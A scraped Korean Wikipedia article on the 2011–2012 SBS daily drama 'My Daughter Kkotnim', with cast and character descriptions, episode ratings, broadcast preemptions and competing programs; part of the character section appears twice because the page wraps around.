사랑을 포기했다. 혼자서 아이를 낳았지만 아이를 낳은지 채 일주일도 되지 않아 잃어버리고, 잃어버린 아이를 찾아 폐인처럼 살아가다 꽃님의 아버지를 만나 결혼한다. 그러나 갑작스런 교통사고로 꽃님의 아버지가 죽고, 그 후 꽃님과 친모녀 이상으로 행복하게 살아간다. 그러던 중 첫사랑 재호와 눈물의 재회를 하고 다시 사랑에 빠지지만 30년 전 잃어버린 자신의 아이가 꽃님과 결혼 할 재호의 아들 상혁이라는 사실을 알게 되고 충격에 빠진다. 그러나 꽃님과 상혁의 행복을 위해 진실을 가슴에 묻는다. 결국 모든 사실이 밝혀지고 사태가 진정된 후 꽃님과 상혁이 다시 결혼식을 준비할 무렵 자신이 신부전증에 걸린 것을 알게 되고 후에 목숨이 위태로운 상황까지 맞이한다. 그러던 중 재호와 자식인 상혁과 꽃님의 설득으로 재호와 결혼하고 그녀는 꽃님의 양어머니이자 시어머니가 된다. 병이 나은 후엔 재호와 시골에서 행복하게 살아간다. 박상원 : 구재호 역 상혁과 준혁의 아버지로 대학시절 경영 일선에 뛰어들어 자수성가한 패션의류업체 지센그룹의 경영주. 집안의 반대로 헤어진 첫사랑 순애를 30년동안 잊지 못하고 살아와서 자식들은 자신처럼 살지 않기를 바란다. 순애와 재회한 후 사랑을 다시 키워가지만 순애가 아들 상혁이 사랑하는 꽃님의 새어머니인 것과 상혁이 순애와 자신의 친자식인 것을 알고 포기한다. 하지만 순애가 신부전증에 걸려 살 날이 얼마남지 않은 것을 알고 결혼하자고 설득한다. 후에 순애의 병이 나은 후에는 시골에서 함께 행복하게 산다. 꽃님이네[편집] 김승환 : 주용필 역 순애의 절친이자 꽃님의 절친인 홍단의 아버지. 미숙의 연하 남편으로 치킨집을 함께 운영하고 있다. 미숙과 같이 착한 마음씨를 지녀 순애 모녀의 일을 물심양면으로 도와준다. 후에 딸 홍단이 준혁과 결혼하면서 순애와 사돈지간이 된다. 오영실 : 오미숙 역 순애의 절친이자 꽃님의 절친인 홍단의 어머니. 현재 순애와 꽃님 모녀가 세 들어 사는 집주인이자 순애가 일하는 치킨집의 주인이기도 하다. 순애와 꽃님 모녀가 힘들 때 물심양면으로 도와주는 착한 마음씨를 지녔다. 순애가 30년 전 잃어버린 친아들을 찾는데 큰 역할을 한다. 후에 딸 홍단이 준혁과 결혼하면서 순애와 사돈지간이 된다. 김보미 : 주홍단 역 미숙과 용필의 딸이자 꽃님의 단짝친구. 채완을 좋아했지만 자신에게 관심은커녕 꽃님만을 일편단심 짝사랑하는 모습을 보며 마음을 접는다. 이후 준혁이 카페에서 일하게 되면서 그와 사랑을 키우게 된다. 몇년 후 준혁과 결혼해 꽃님과 형님-동서지간이 된다. 선우재덕 : 양수철 역 (특별출연) 꽃님의 아버지. 순애와 재혼한 지 얼마 되지 않아 여전히 순애를 어머니로 받아들이지 못하고 말다툼을 한 뒤 집을 나간 꽃님을 찾으러 가다 채경이 낸 교통사고로 순애와 꽃님을 두고 홀연 세상을 떠나버린다. 상혁이네[편집] 백종민 : 구준혁 역 의류업체 지센그룹 경영주인 구재호의 아들이자 상혁의 동생. 외국 명문대에 입학 허가서를 받아놓을 정도로 장래가 촉망되는 인재였으나 7년 전 형 상혁을 찾아 속초에 갔다가 교통사고로 뇌를 다쳐 7살 지능을 가진 어린이가 되어버렸다. 이후 꽃님이 근무하는 재활병원에 다니며 치료를 받아 상혁과 꽃님이 만나게 되는 계기를 마련해 준다. 그리고 채완이 운영하는 카페에서 일하며 홍단과 친구와 우정 사이의 관계가 된다. 상혁과 채경이 약혼한 후 상혁을 대신해 병원에 자신을 데리러 온 채경의 손에 이끌려 가던 중 다시 교통사고를 당하게 된다. 이 사고로 손상되었던 뇌기능이 정상으로 돌아와 7년 전 뺑소니 교통사고 범인 채경이라는 것을 밝히는데 결정적인 역할을 한다. 나중에 꽃님의 친구인 홍단과 결혼한다 윤소정 : 문정옥 역 의류업체 지센그룹 경영주인 구재호 모친이자 상혁과 준혁의 할머니. 순애가 혼자 낳은 친손자 상혁을 죽은 며느리의 먼 친척의 아이로 속이고 훔쳐다 데려 키워왔다. 꽃님의 새어머니가 순애라는 것을 알고 난 후 상혁과의 결혼을 막고자 극심하게 반대한다. 하지만 결국 상혁을 순애에게서 빼앗아 오기 위해서 한 자신의 악행이 밝혀지며 재호와 상혁에게 다시 한번 큰 상처를 주게 된다. 또한 7년 전 준혁의 교통사고 뺑소니 범인이 채경임을 가장 먼저 알게 되지만 자신의 악행이 알려질 것이 두려운 채경의 행동으로 엄청난 쇼크를 받아 쓰러져 세상을 떠나게 된다. 정주은 : 윤혜진 역 의류업체 지센그룹의 기획마케팅실 팀장. 전 남편의 바람기로 결혼생활을 1년만에 끝낸 아픈 과거가 있는 이혼녀이다. 순애와 재호가 과거 연인사이였음을 알게 되고 오랫동안 재호의 곁을 지키며 사랑했음에도 재호의 마음이 30년 전 순애에게만 향하자 배신감을 느끼고 아버지의 재력을 이용해 회사를 위기로 만들지만, 결국 자신의 악행을 반성하고 해외로 떠난다. 채경이네[편집] 손은서 : 은채경 역 의류업체 지센그룹의 기획마케팅실 수석 MD. 7년 전 무면허 뺑소니 사고를 일으켜 준혁을 크게 다치게 하고, 꽃님의 아버지를 죽게 만든 범인이기도 하다. 하지만 범행을 감추고 미국으로 돌연 유학을 떠나 유통 마케팅을 공부하고 돌아왔다. 한국에 돌아와 지센그룹에 일하게 되면서 상혁이 회사오너의 아들이란 사실을 알게 되고 의도적인 접근을 하지만 단칼에 거절당한다. 자신의 마음을 거절했던 상혁이 꽃님과 연인사이가 되었다는 사실에 질투심을 느껴 꽃님을 다치게 하는 등 갖은 악행을 일삼는다. 후에 꽃님과 파혼한 상혁을 속여가며 약혼까지 올리지만 씻을 수 없는 과거가 드러나며 파혼을 당하고 감옥에 수감된다. 몇년 뒤 출소한 후 자원봉사를 하다가 꽃님과 우연히 마주친 후 진심으로 사과한다. 이지훈 : 은채완 역 채경의 오빠로 오는 여자 안 막고 가는 여자 안 잡는 바람둥이이자 커피 전문점 사장. 하지만 자신의 가게에서 일하는 꽃님을 짝사랑하면서 키다리 아저씨처럼 꽃님을 도와주는 순정파로 거듭난다. 그러나 7년 전 자신이 사랑하는 꽃님의 아버지를 죽게 만든 교통사고의 범인이 동생 채경이란 사실을 알게 되고 충격에 빠진다. 이후 채경의 범죄가 만천하에 드러난 뒤에는 홀로 인생을 새로 시작하기 위해 이탈리아로 유학을 떠난다. 정규수 : 은천만 역 채완과 채경의 아버지. 젋은 시절 한창 부동산 경기가 좋을 때 떼돈을 벌어 현재 강남의 빌딩 여러 채를 소유한 갑부이다. 허영과 오만이 가득한 아내와는 다르게 인간의 도리를 안다. 채경의 범행이 밝혀진 후 꽃님의 가족과 상혁의 가족에게 진심으로 사과를 구한다. 또한 자신의 전재산으로 꽃님 아버지의 이름을 딴 재단을 설립해 교통사고를 당한 환자들을 위한 병원을 세우기도 한다. 이종남 : 허영애 역 채완과 채경의 어머니. 욕심과 허영심이 많으며 신분 상승의 욕구가 강하다. 7년 전 채경의 교통사고를 덮기 위해 채경을 미국으로 유학 보내고 딸의 불행을 막고자 비밀을 철저히 지키며 살아왔다. 후에 채경의 범행이 밝혀지고 남편이 딸이 벌인 극악무도한 짓을 속죄하는 뜻에서 봉사활동을 다니자고 해 처음에는 투덜대며 시작하지만 이내 자신의 잘못을 깨닫고 봉사활동을 꾸준히 다닌다. 그 외 인물[편집] 허태희 : 한경민 역 윤혜진이 재호와의 파혼으로 상처를 입고 해외로 떠나 비어있는 지센 마케팅 팀장자리에 새로 부임하게 되는 팀장. 채경과는 미국 유학시절 과거 연인사이로 채경의 과거에 대해 알고 있다. 임도윤 : 푸른재활병원 작업치료실 실장 역 김나영 : 푸른재활병원의 작업치료사 선배 역 손미희 : 간호사 역 백민 김정수 : 혜진의 아버지 역 특별출연[편집] 이유리 : 카페 사장 역 시청률[편집] 최저 시청률과 최고 시청률은 시청률 조사회사와 지역별로 시청률에 차이가 있을 수 있습니다. 2011년 회차 방송일 TNMS 시청률[1] AGB 시청률[2] 대한민국(전국) 서울(수도권) 대한민국(전국) 서울(수도권) 제1회 11월 14일 10.1% 9.5% 9.2% ? 제2회 11월 15일 9.4% 9.9% 9% 9% 제3회 11월 16일 9.1% 9.1% 9.6% 9.3% 제4회 11월 17일 11.3% 10.6% 9.6% 9.6% 제5회 11월 18일 11.2% 9.9% 9.4% 9.4% 제6회 11월 21일 11% 10.3% 9.5% 9.8% 제7회 11월 22일 10.1% 10.5% 9.7% 9.9% 제8회 11월 23일 10.4% 9.5% 10.6% 11.1% 제9회 11월 24일 11.1% 11.7% 10.6% 10.5% 제10회 11월 25일 12.6% 11.8% 10.8% 10.7% 제11회 11월 28일 9.6% 9.2% 9.3% 9.3% 제12회 11월 29일 11.3% 12.1% 10.6% 10.9% 제13회 11월 30일 11% 11.3% 11.9% 12.3% 제14회 12월 1일 10.3% 10.9% 10% 10% 제15회 12월 2일 11.3% 11.2% 11.6% 11.6% 제16회 12월 5일 12.8% 12.5% 9.9% ? 제17회 12월 6일 12.4% 12.5% 9.6% 10.7% 제18회 12월 7일 12.8% 13.6% 9.9% 9.9% 제19회 12월 8일 11.7% 11.8% 11.4% 11.7% 제20회 12월 9일 11.7% 11.1% 11.4% 11.8% 제21회 12월 12일 12.4% 11.3% 11.5% 11.7% 제22회 12월 13일 12.8% 13.1% 11.8% 11.6% 제23회 12월 14일 12.4% 11.8% 11.4% 11.1% 제24회 12월 15일 13.3% 13.2% 11.3% 12% 제25회 12월 16일 12.4% 12.1% 11.9% 11.2% 제26회 12월 20일 12.6% 11.6% 12.2% 12.6% 제27회 12월 21일 12.4% 13.0% 11.6% 11.0% 제28회 12월 22일 12.3% 12.4% 12.1% 13.1% 제29회 12월 23일 13.3% 12.2% 12.1% 11.4% 제30회 12월 26일 13.2% 13% 12% 11.9% 제31회 12월 27일 13.6% 14.4% 13.1% 13.1% 제32회 12월 28일 13.6% 13.4% 14% 14.9% 제33회 12월 29일 13.2% 12.3% 11.9% 11.7% 제34회 12월 30일 13% 13.1% 11.8% 11.8% 2012년 제35회 1월 2일 13.4% 12.7% 14.3% 13.2% 제36회 1월 3일 15% 14.5% 15.3% 15% 제37회 1월 4일 13.5% 13.4% 14.6% 13.8% 제38회 1월 5일 14% 13.4% 14.6% 14.3% 제39회 1월 6일 13.9% 12.3% 15.1% 14.2% 제40회 1월 9일 14.8% 15% 14.6% 14.4% 제41회 1월 10일 14.7% 14.2% 15.6% 15.2% 제42회 1월 11일 14.8% 14.8% 14.9% 15% 제43회 1월 12일 14.6% 14.1% 14.8% 14.4% 제44회 1월 13일 14.4% 13.3% 14.1% 12.8% 제45회 1월 16일 15.8% 14.2% 16.8% 16.3% 제46회 1월 17일 16.9% 16.3% 16.8% 16.5% 제47회 1월 18일 14.4% 13.5% 14.4% 13.7% 제48회 1월 19일 16% 14.1% 15.6% 14.4% 제49회 1월 20일 14.2% 12.3% 14.7% 14% 제50회 1월 25일 12.9% 11.6% 14.8% 14.6% 제51회 1월 26일 14.4% 14.5% 14.8% 14.7% 제52회 1월 27일 14.3% 11.7% 16.6% 16.2% 제53회 1월 30일 14.4% 12% 15.5% 15.4% 제54회 1월 31일 15.8% 13.1% 15.8% 15.5% 제55회 2월 1일 15.7% 14.5% 15.8% 16.1% 제56회 2월 2일 16.2% 15.4% 17.7% 17.4% 제57회 2월 3일 17% 15.8% 16.6% 15.4% 제58회 2월 6일 15.9% 15.6% 16% 16.5% 제59회 2월 7일 17.7% 16.4% 16.9% 16.7% 제60회 2월 8일 16.1% 14.3% 16.6% 16.1% 제61회 2월 9일 17.3% 16.1% 15.7% 15% 제62회 2월 10일 17% 15.3% 16.7% 15.6% 제63회 2월 13일 17.4% 17.6% 16.1% 15.2% 제64회 2월 14일 16.4% 14.3% 16.1% 15.8% 제65회 2월 15일 16.2% 15.8% 15.5% 14.6% 제66회 2월 16일 17.7% 16.2% 16.4% 16.3% 제67회 2월 17일 19.9% 19.1% 16.4% 15.3% 제68회 2월 20일 18.8% 17.3% 16.6% 16.2% 제69회 2월 21일 17.2% 14.9% 16.4% 16% 제70회 2월 22일 16.4% 14.7% 16.8% 16.1% 제71회 2월 23일 16.9% 17.9% 15.4% 15.1% 제72회 2월 24일 17.6% 15.1% 17.4% 17.1% 제73회 2월 27일 16.1% 13.7% 16% 15.5% 제74회 2월 28일 16.6% 15.5% 15.8% 15.1% 제75회 2월 29일 14.7% 13.7% 15.5% 15.5% 제76회 3월 1일 17.7% 15.2% 17.1% 16.8% 제77회 3월 2일 18.1% 15.8% 16% 15.3% 제78회 3월 5일 17.9% 16.1% 16.8% 16.8% 제79회 3월 6일 15.5% 13.4% 15% 14.9% 제80회 3월 7일 17.1% 15.7% 15% 14.5% 제81회 3월 8일 16.8% 14.4% 16.3% 15% 제82회 3월 9일 16.7% 15.9% 16.3% 15.3% 제83회 3월 12일 18% 16.5% 17.5% 16.6% 제84회 3월 13일 18.3% 16.9% 16.2% 15.3% 제85회 3월 14일 18.7% 17.3% 16% 15.2% 제86회 3월 15일 18.1% 16.7% 18.2% 17.3% 제87회 3월 16일 19% 18% 18.4% 17.6% 제88회 3월 19일 17.5% 15.5% 16.8% 15.1% 제89회 3월 20일 16.3% 14.5% 16.8% 16% 제90회 3월 21일 18.1% 17.6% 15.5% 15.6% 제91회 3월 22일 19.1% 18.8% 16.9% 16.2% 제92회 3월 23일 19.6% 16.5% 17.2% 16.1% 제93회 3월 26일 17.9% 15.7% 16% 14.5% 제94회 3월 27일 20.1% 18.7% 17% 16.5% 제95회 3월 28일 16.7% 13.7% 14.6% 13.8% 제96회 3월 29일 17.3% 14.8% 15.6% 15% 제97회 3월 30일 19% 15.8% 17.2% 16.4% 제98회 4월 2일 19% 18.1% 14.6% 13.3% 제99회 4월 3일 17.6% 15.6% 16% 15.2% 제100회 4월 4일 15.1% 13.3% 16.3% 15.6% 제101회 4월 5일 17.4% 16.5% 16.1% 15.6% 제102회 4월 6일 18.3% 16.8% 15.5% 14.6% 제103회 4월 9일 17.3% 15.8% 15.6% 14.1% 제104회 4월 10일 18.6% 15.6% 16.7% 16.2% 제105회 4월 12일 17.4% 16.5% 16.7% 16% 제106회 4월 13일 18.3% 16.7% 16.7% 15.3% 제107회 4월 16일 18.8% 17% 17.1% 16% 제108회 4월 17일 17.4% 14.8% 16.1% 15% 제109회 4월 18일 16.9% 15% 16.1% 15.7% 제110회 4월 19일 19.2% 16.2% 17.1% 15.6% 제111회 4월 20일 17.2% 15.3% 17.3% 16.6% 제112회 4월 23일 18.3% 16.2% 17.1% 16.5% 제113회 4월 24일 18.8% 17.2% 16.1% 15.2% 제114회 4월 25일 21% 19.2% 18.5% 17.2% 제115회 4월 26일 18% 15.6% 16% 15.5% 제116회 4월 27일 18.6% 17.2% 16.8% 16.2% 제117회 4월 30일 17.3% 13.8% 16.2% 15.1% 제118회 5월 1일 17.9% 15.2% 16.2% 15.1% 제119회 5월 2일 16.5% 14.5% 16.6% 16.1% 제120회 5월 3일 18.1% 16.4% 16.4% 16.3% 제121회 5월 4일 16.8% 15.3% 16.3% 15.5% 제122회 5월 7일 16.3% 16.1% 14.7% 14% 제123회 5월 8일 14.9% 12.6% 13.7% 13.5% 제124회 5월 9일 15.2% 15.6% 14.7% 14.6% 제125회 5월 10일 16.2% 14.3% 15.4% 14.5% 제126회 5월 11일 16% 15.3% 15.6% 15.5% 제127회 5월 14일 18.9% 19.1% 15.9% 15.2% 제128회 5월 15일 15.2% 16.4% 14.8% 14.6% 제129회 5월 16일 14.9% 14.3% 14% 14% 제130회 5월 17일 17% 16.7% 15.8% 15.6% 제131회 5월 18일 16.3% 15.5% 14.9% 14.2% 수상[편집] 2011년 SBS 연기대상 뉴 스타상 진세연 결방과 연장[편집] 2011년 12월 19일 : 김정일 사망 특집 《SBS 8시 뉴스》 편성으로 인해 결방[3] 2012년 1월 23일, 1월 24일 : 설 특집 프로그램 편성으로 인해 결방[4] 2012년 2월 13일 : 내 딸 꽃님이 방영 분량이 120부작에서 11회 연장되어 131부작으로 변경.확정되었다. 2012년 4월 11일 : 대한민국 제19대 총선 개표방송 《2012 국민의 선택》 편성으로 인해 결방[5] 경쟁 프로그램[편집] 당신 뿐이야 (KBS 1TV) 별도 달도 따줄게 (KBS 1TV) 하이킥! 짧은 다리의 역습 오늘만 같아라 (이상 MBC.) 청담동 살아요 (JTBC TV) 각주[편집] ↑ TNMS 홈페이지[깨진 링크(과거 내용 찾기)] ↑ AGB닐슨 미디어리서치 홈페이지[깨진 링크(과거 내용 찾기)] ↑ 송승은 (2011년 12월 19일). “'김정일 사망' 특집 방송…SBS '내 딸 꽃님이'-'힐링캠프' 19일 결방”. TV 리포트.  ↑ 홈지기 (2012년 1월 19일). “2012년 설 연휴로 인한 결방 안내입니다”. 《시청자 게시판》. SBS 홈페이지. 2012년 3월 16일에 확인함.  ↑ 대중문화부 (2012년 4월 11일). “지상파 3사 4 · 11 총선개표방송으로 드라마 편성 변경”. 스포츠경향.  외부 링크[편집] 내 딸 꽃님이 - 공식 웹사이트 SBS 일일드라마 이전 작품 작품명 다음 작품 당신이 잠든 사이(2011년 5월 16일 ~ 2011년 11월 9일) 내 딸 꽃님이(2011년 11월 14일 ~ 2012년 5월 18일) 그래도 당신 (2012년 5월 21일 ~ 2012년 12월 3일) 원본 주소 "https://ko.wikipedia.org/w/index.php?title=내_딸_꽃님이&oldid=23746164" 분류: 2011년 드라마2012년 드라마SBS 일일드라마2010년대 대한민국의 텔레비전 프로그램가족 드라마숨은 분류: 깨진 링크를 가지고 있는 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 EnglishBahasa IndonesiaItalianoBahasa Melayu中文 링크 편집 이 문서는 2019년 2월 21일 (목) 14:35에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
내 딸 꽃님이 - 위키백과, 우리 모두의 백과사전 내 딸 꽃님이 위키백과, 우리 모두의 백과사전. (내딸꽃님이에서 넘어옴) 둘러보기로 가기 검색하러 가기 내 딸 꽃님이 장르 가족 방송 국가 대한민국 방송 채널 SBS 방송 기간 2011년 11월 14일 ~ 2012년 5월 18일 방송 시간 월 ~ 금 저녁 7시 20분 ~ 8시 방송 분량 40분 방송 횟수 131 책임프로듀서 김정민 제작사 크레아윅스 연출 박영수 조연출 남건 극본 박예경 출연자 진세연, 최진혁, 조민수, 박상원 외 닫는 곡 가연 - 사랑이죠 언어 한국어 음성 2채널 스테레오 사운드 HD 방송 여부 HD 제작 · 방송 외부 링크  내 딸 꽃님이 홈페이지 《내 딸 꽃님이》는 2011년 11월 14일부터 2012년 5월 18일까지 방영된 SBS 일일드라마이다. 목차 1 기획 의도 2 등장 인물 2.1 주요 인물 2.2 꽃님이네 2.3 상혁이네 2.4 채경이네 2.5 그 외 인물 2.6 특별출연 3 시청률 4 수상 5 결방과 연장 6 경쟁 프로그램 7 각주 8 외부 링크 기획 의도[편집] 피 한 방울 섞이지 않은 모녀가 기꺼이 서로를 위해 헌신하고 보듬으며 살아가는 따뜻한 이야기를 다루었다. 등장 인물[편집] 주요 인물[편집] 진세연 : 양꽃님 역 착하고 순수한 마음을 지닌 푸른재활병원에서 일하는 작업치료사. 어릴 적 어머니를 여의고 7년 전 교통사고로 아버지마저 떠나 보낸 후 새어머니 순애와 단둘이 살고 있다. 재활병원에 다니는 준혁의 작업치료를 담당하면서 준혁의 형인 상혁과 연인관계로 발전한다. 하지만 순애와 상혁의 숨겨진 관계가 드러나면서 순애와 갈등하게 된다. 그러나 그동안 자신을 위해 헌신하며 살아 온 순애의 행복을 위해 자신의 사랑을 과감히 포기한다. 하지만 파혼한 이후 채경과 결혼을 앞둔 상혁의 아이를 임신한 사실을 알게되어 막막한 현실에 절망한다. 그러던 중 채경의 악행이 밝혀져 채경과 상혁은 파혼하고 이후 임신한 사실을 상혁이 알면서 그와 결혼하고 아들 은별을 낳아 행복한 가정을 꾸린다. 최진혁 : 구상혁 역 (아역 김영재) 의류업체 지센그룹 경영주인 구재호의 아들이자 지센그룹 기획마케팅실 기획 MD. 어렸을 때 우연히 자신이 입양되었다는 사실을 알게 됐고 동생 준혁과는 다르게 자신에게는 늘 부정적인 아버지의 행동을 오해해 갈등을 쌓아 왔다. 대학시절 동생 준혁이 자신을 찾으러 오던 중 교통사고를 당한 사실 때문에 죄책감을 갖고 있으며 어린 아이가 된 준혁을 보살피며 살고 있다. 그러던 중 준혁의 작업치료사인 꽃님과 자꾸 부딪히며 사랑에 빠진다. 그 누구에게도 마음을 열지 않던 차가웠던 그의 마음은 꽃님을 만나면서 따뜻하게 변하게 된다. 사랑이 깊어져 꽃님과 결혼하려 하지만 사실 자신의 친아버지가 재호이며 친어머니는 꽃님의 새어머니인 장순애임을 알고 충격에 빠진다. 이후 꽃님과 파혼하고 가족사가 언론에 공개되어 꽃님이 위기에 처하자 상혁은 채경과 결혼을 결심한다. 그러나 7년 전 자신의 동생을 다치게 하고 꽃님의 아버지를 죽게 한 뺑소니사고 범인이 채경이라는것을 알게 된 후 그녀와 파혼한다. 그리고 꽃님의 임신 사실을 알게 된 후 꽃님과 결혼하여 부부의 연을 맺고 아들 은별을 낳아 단란한 가정을 꾸린다. 조민수 : 장순애 역 고운 외모와 심성을 가진 꽃님의 새어머니. 대학시절 재호를 만나 사랑에 빠져 아이까지 가졌으나 고아인 자신을 반대하는 재호의 모친으로 인해 결국 사랑을 포기했다. 혼자서 아이를 낳았지만 아이를 낳은지 채 일주일도 되지 않아 잃어버리고, 잃어버린 아이를 찾아 폐인처럼 살아가다 꽃님의 아버지를 만나 결혼한다. 그러나 갑작스런 교통사고로 꽃님의 아버지가 죽고, 그 후 꽃님과 친모녀 이상으로 행복하게 살아간다. 그러던 중 첫사랑 재호와 눈물의 재회를 하고 다시 사랑에 빠지지만 30년 전 잃어버린 자신의 아이가 꽃님과 결혼 할 재호의 아들 상혁이라는 사실을 알게 되고 충격에 빠진다. 그러나 꽃님과 상혁의 행복을 위해 진실을 가슴에 묻는다. 결국 모든 사실이 밝혀지고 사태가 진정된 후 꽃님과 상혁이 다시 결혼식을 준비할 무렵 자신이 신부전증에 걸린 것을 알게 되고 후에 목숨이 위태로운 상황까지 맞이한다. 그러던 중 재호와 자식인 상혁과 꽃님의 설득으로 재호와 결혼하고 그녀는 꽃님의 양어머니이자 시어머니가 된다. 병이 나은 후엔 재호와 시골에서 행복하게 살아간다. 박상원 : 구재호 역 상혁과 준혁의 아버지로 대학시절 경영 일선에 뛰어들어 자수성가한 패션의류업체 지센그룹의 경영주. 집안의 반대로 헤어진 첫사랑 순애를 30년동안 잊지 못하고 살아와서 자식들은 자신처럼 살지 않기를 바란다. 순애와 재회한 후 사랑을 다시 키워가지만 순애가 아들 상혁이 사랑하는 꽃님의 새어머니인 것과 상혁이 순애와 자신의 친자식인 것을 알고 포기한다. 하지만 순애가 신부전증에 걸려 살 날이 얼마남지 않은 것을 알고 결혼하자고 설득한다. 후에 순애의 병이 나은 후에는 시골에서 함께 행복하게 산다. 꽃님이네[편집] 김승환 : 주용필 역 순애의 절친이자 꽃님의 절친인 홍단의 아버지. 미숙의 연하 남편으로 치킨집을 함께 운영하고 있다. 미숙과 같이 착한 마음씨를 지녀 순애 모녀의 일을 물심양면으로 도와준다. 후에 딸 홍단이 준혁과 결혼하면서 순애와 사돈지간이 된다. 오영실 : 오미숙 역 순애의 절친이자 꽃님의 절친인 홍단의 어머니. 현재 순애와 꽃님 모녀가 세 들어 사는 집주인이자 순애가 일하는 치킨집의 주인이기도 하다. 순애와 꽃님 모녀가 힘들 때 물심양면으로 도와주는 착한 마음씨를 지녔다. 순애가 30년 전 잃어버린 친아들을 찾는데 큰 역할을 한다. 후에 딸 홍단이 준혁과 결혼하면서 순애와 사돈지간이 된다. 김보미 : 주홍단 역 미숙과 용필의 딸이자 꽃님의 단짝친구. 채완을 좋아했지만 자신에게 관심은커녕 꽃님만을 일편단심 짝사랑하는 모습을 보며 마음을 접는다. 이후 준혁이 카페에서 일하게 되면서 그와 사랑을 키우게 된다. 몇년 후 준혁과 결혼해 꽃님과 형님-동서지간이 된다. 선우재덕 : 양수철 역 (특별출연) 꽃님의 아버지. 순애와 재혼한 지 얼마 되지 않아 여전히 순애를 어머니로 받아들이지 못하고 말다툼을 한 뒤 집을 나간 꽃님을 찾으러 가다 채경이 낸 교통사고로 순애와 꽃님을 두고 홀연 세상을 떠나버린다. 상혁이네[편집] 백종민 : 구준혁 역 의류업체 지센그룹 경영주인 구재호의 아들이자 상혁의 동생. 외국 명문대에 입학 허가서를 받아놓을 정도로 장래가 촉망되는 인재였으나 7년 전 형 상혁을 찾아 속초에 갔다가 교통사고로 뇌를 다쳐 7살 지능을 가진 어린이가 되어버렸다. 이후 꽃님이 근무하는 재활병원에 다니며 치료를 받아 상혁과 꽃님이 만나게 되는 계기를 마련해 준다. 그리고 채완이 운영하는 카페에서 일하며 홍단과 친구와 우정 사이의 관계가 된다. 상혁과 채경이 약혼한 후 상혁을 대신해 병원에 자신을 데리러 온 채경의 손에 이끌려 가던 중 다시 교통사고를 당하게 된다. 이 사고로 손상되었던 뇌기능이 정상으로 돌아와 7년 전 뺑소니 교통사고 범인 채경이라는 것을 밝히는데 결정적인 역할을 한다. 나중에 꽃님의 친구인 홍단과 결혼한다 윤소정 : 문정옥 역 의류업체 지센그룹 경영주인 구재호 모친이자 상혁과 준혁의 할머니. 순애가 혼자 낳은 친손자 상혁을 죽은 며느리의 먼 친척의 아이로 속이고 훔쳐다 데려 키워왔다. 꽃님의 새어머니가 순애라는 것을 알고 난 후 상혁과의 결혼을 막고자 극심하게 반대한다. 하지만 결국 상혁을 순애에게서 빼앗아 오기 위해서 한 자신의 악행이 밝혀지며 재호와 상혁에게 다시 한번 큰 상처를 주게 된다. 또한 7년 전 준혁의 교통사고 뺑소니 범인이 채경임을 가장 먼저 알게 되지만 자신의 악행이 알려질 것이 두려운 채경의 행동으로 엄청난 쇼크를 받아 쓰러져 세상을 떠나게 된다. 정주은 : 윤혜진 역 의류업체 지센그룹의 기획마케팅실 팀장. 전 남편의 바람기로 결혼생활을 1년만에 끝낸 아픈 과거가 있는 이혼녀이다. 순애와 재호가 과거 연인사이였음을 알게 되고 오랫동안 재호의 곁을 지키며 사랑했음에도 재호의 마음이 30년 전 순애에게만 향하자 배신감을 느끼고 아버지의 재력을 이용해 회사를 위기로 만들지만, 결국 자신의 악행을 반성하고 해외로 떠난다. 채경이네[편집] 손은서 : 은채경 역 의류업체 지센그룹의 기획마케팅실 수석 MD. 7년 전 무면허 뺑소니 사고를 일으켜 준혁을 크게 다치게 하고, 꽃님의 아버지를 죽게 만든 범인이기도 하다. 하지만 범행을 감추고 미국으로 돌연 유학을 떠나 유통 마케팅을 공부하고 돌아왔다. 한국에 돌아와 지센그룹에 일하게 되면서 상혁이 회사오너의 아들이란 사실을 알게 되고 의도적인 접근을 하지만 단칼에 거절당한다. 자신의 마음을 거절했던 상혁이 꽃님과 연인사이가 되었다는 사실에 질투심을 느껴 꽃님을 다치게 하는 등 갖은 악행을 일삼는다. 후에 꽃님과 파혼한 상혁을 속여가며 약혼까지 올리지만 씻을 수 없는 과거가 드러나며 파혼을 당하고 감옥에 수감된다. 몇년 뒤 출소한 후 자원봉사를 하다가 꽃님과 우연히 마주친 후 진심으로 사과한다. 이지훈 : 은채완 역 채경의 오빠로 오는 여자 안 막고 가는 여자 안 잡는 바람둥이이자 커피 전문점 사장. 하지만 자신의 가게에서 일하는 꽃님을 짝사랑하면서 키다리 아저씨처럼 꽃님을 도와주는 순정파로 거듭난다. 그러나 7년 전 자신이 사랑하는 꽃님의 아버지를 죽게 만든 교통사고의 범인이 동생 채경이란 사실을 알게 되고 충격에 빠진다. 이후 채경의 범죄가 만천하에 드러난 뒤에는 홀로 인생을 새로 시작하기 위해 이탈리아로 유학을 떠난다. 정규수 : 은천만 역 채완과 채경의 아버지. 젋은 시절 한창 부동산 경기가 좋을 때 떼돈을 벌어 현재 강남의 빌딩 여러 채를 소유한 갑부이다. 허영과 오만이 가득한 아내와는 다르게 인간의 도리를 안다. 채경의 범행이 밝혀진 후 꽃님의 가족과 상혁의 가족에게 진심으로 사과를 구한다. 또한 자신의 전재산으로 꽃님 아버지의 이름을 딴 재단을 설립해 교통사고를 당한 환자들을 위한 병원을 세우기도 한다. 이종남 : 허영애 역 채완과 채경의 어머니. 욕심과 허영심이 많으며 신분 상승의 욕구가 강하다. 7년 전 채경의 교통사고를 덮기 위해 채경을 미국으로 유학 보내고 딸의 불행을 막고자 비밀을 철저히 지키며 살아왔다. 후에 채경의 범행이 밝혀지고 남편이 딸이 벌인 극악무도한 짓을 속죄하는 뜻에서 봉사활동을 다니자고 해 처음에는 투덜대며 시작하지만 이내 자신의 잘못을 깨닫고 봉사활동을 꾸준히 다닌다. 그 외 인물[편집] 허태희 : 한경민 역 윤혜진이 재호와의 파혼으로 상처를 입고 해외로 떠나 비어있는 